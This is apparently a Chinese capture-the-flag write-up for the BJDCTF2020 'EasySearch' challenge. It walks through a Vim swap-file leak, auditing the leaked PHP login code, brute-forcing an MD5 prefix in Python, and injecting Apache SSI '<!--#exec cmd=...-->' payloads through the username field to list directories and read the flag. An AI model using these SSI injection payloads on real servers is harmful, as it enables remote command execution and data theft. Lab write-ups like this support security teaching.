Bootstrap

[BJDCTF2020]EasySearch1

知识点:

        1.swp泄露

        2.md5碰撞

        3.PHP代码审计

        4.SSI代码执行漏洞  // Apache SSI 远程命令执行漏洞复现

看着像sql注入,不过注入无果,扫一下目录试试~

发现是swp泄露.

SWP文件泄露漏洞是指在使用 Vim编辑器 编辑一个文件时,Vim会在同一目录下创建一个以".swp"结尾的临时文件来保存编辑过程中的变化,如果在编辑过程中Vim进程被意外终止或者用户没有正确地退出Vim,那么这个临时文件可能会被留下来,如果攻击者能够访问这个临时文件就可以获得原始文件的敏感信息,从而导致信息泄露,需要注意的是不同的操作失败次数将会导致产生不同后缀的交互文件,例如:index.php第一次产生的交换文件名为.index.php.swp,再次意外退出后将会产生名为.index.php.swo的交换文件,第三次产生的交换文件则为.index.php.swn 

开始代码审计~ 

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}

    // 设置响应的Content-Type头部信息为text/html,并指定字符编码为utf-8
    header("Content-Type: text/html;charset=utf-8");

    //检查用户是否提交了表单且username字段不为空
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        
        // 验证用户密码是否匹配管理员密码
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>"; // 输出欢迎消息
            // 创建一个以生成的哈希值为文件名的.shtml文件
            $file_shtml = "public/".get_hash().".shtml";
            // 打开文件用于写入,如果打开失败则输出错误信息并终止脚本执行
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***'; // 组装要写入文件的内容
            // 将内容写入文件
            fwrite($shtml,$text);
            // 关闭文件
            fclose($shtml);
            ***
			echo "[!] Header  error ..."; // 输出错误消息
        } else {
            echo "<script>alert('[!] Failed')</script>"; // 输出验证失败消息
        }
    } else {
        // 如果用户名为空,则执行此部分逻辑
		***
    }
	***
?>

意思就是他会检查传入的password的值,如果password的md5值的前6位等于6d0bc1那就就会执行命令将输入的username写入到一个随机数生成的shtml文件中,并输入header error 的错误信息。

我们我们首先要做的就是使password符合要求,可以使用如下python代码来找出符合要求的password.

from hashlib import md5

for i in range(10000000):
    if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
        print(i)

执行结果如下~

绕过md5后,我们继续分析~

绕过md5后,他将我们传入的username写入到了shtml文件里面.

知识点:

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令。

SSI 是一种在 HTML 页面中嵌入服务器端脚本的技术,允许在服务器将页面发送给客户端之前,动态地生成内容。它主要用于在页面中包含其他文件的内容,或者执行一些简单的服务器端逻辑(如设置日期和时间)。

SSI 的 exec 命令可以执行服务器上的命令,但它的使用受到严格限制,主要是因为安全原因。大多数服务器配置中,exec 命令是被禁用的,或者仅限于具有特定权限的用户或目录。此外,即使 exec 被启用,它也通常不会直接暴露给普通用户或不受信任的上传目录。

意思就是 username是个注入点,我们可以控制username的内容来实现远程代码执行漏洞.

而username的格式是<!--#exec cmd=”id” -->.

那么让我们开始构造payload.

http://4a82f262-3696-46d7-b36f-d6072db967d8.node5.buuoj.cn:81/

username=<!--#exec cmd="ls ../"--> & password=2020666

这里提示header error 那么看一下~

发现了我们写入的shtml文件的位置,去访问一下. 

发现flag文件,重复上面的操作来读取flag.

http://4a82f262-3696-46d7-b36f-d6072db967d8.node5.buuoj.cn:81/

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"--> & password=2020666

悦读

道可道,非常道;名可名,非常名。 无名,天地之始,有名,万物之母。 故常无欲,以观其妙,常有欲,以观其徼。 此两者,同出而异名,同谓之玄,玄之又玄,众妙之门。

;